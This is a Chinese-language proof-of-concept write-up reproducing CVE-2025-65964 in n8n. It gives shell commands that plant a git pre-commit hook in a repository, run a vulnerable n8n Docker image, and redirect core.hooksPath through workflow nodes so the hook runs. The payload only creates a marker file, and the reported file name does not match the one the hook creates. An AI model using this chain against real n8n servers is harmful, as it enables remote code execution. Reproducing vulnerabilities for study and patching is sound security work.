
CVE-2025-65964复现
首先准备一个包含恶意文件的仓库
mkdir n8n-rce-poc && cd n8n-rce-poc
git init
git remote add origin <仓库地址>
mkdir evil_hooks
echo '#!/bin/sh' > evil_hooks/pre-commit
echo 'touch /tmp/pwned_success' >> evil_hooks/pre-commit
chmod +x evil_hooks/pre-commit
git add evil_hooks/pre-commit
git update-index --chmod=+x evil_hooks/pre-commit
git commit -m "Add malicious hook"
git branch -M main
git push -u origin main
然后在本地起一个处于受害版本内的n8n的docker,该漏洞影响范围很大,0.123.1 ≤ n8n < 1.119.2都受影响,我们这里使用1.64.3
docker run -it --rm \
--name n8n \
-p 5678:5678 \
n8nio/n8n:1.64.3
首先,1.64.3版本的完整攻击流如下
参数配置如图
该节点和下一个节点是因为由于git只有在文件发生变化时才允许 Commit,所以我们需要先随便写个文件进去。
参数配置如图
将文件写入仓库
参数配置如图
这两个节点是因为commit需要email和username,编两个就行
参数配置如图
核心步骤,将core.hooksPath指向我们下载的恶意目录,强制git在执行hook时去我们指定的目录查找(默认为.git/hooks)
(感觉跟劫持LD_PRELOAD啥的是一类的)
参数配置如图
这一步用来触发漏洞执行被篡改的hook
参数配置如图
配置完这些节点后,执行工作流即可
然后在docker中观察,发现恶意文件pwned_without_exec_node已经被创建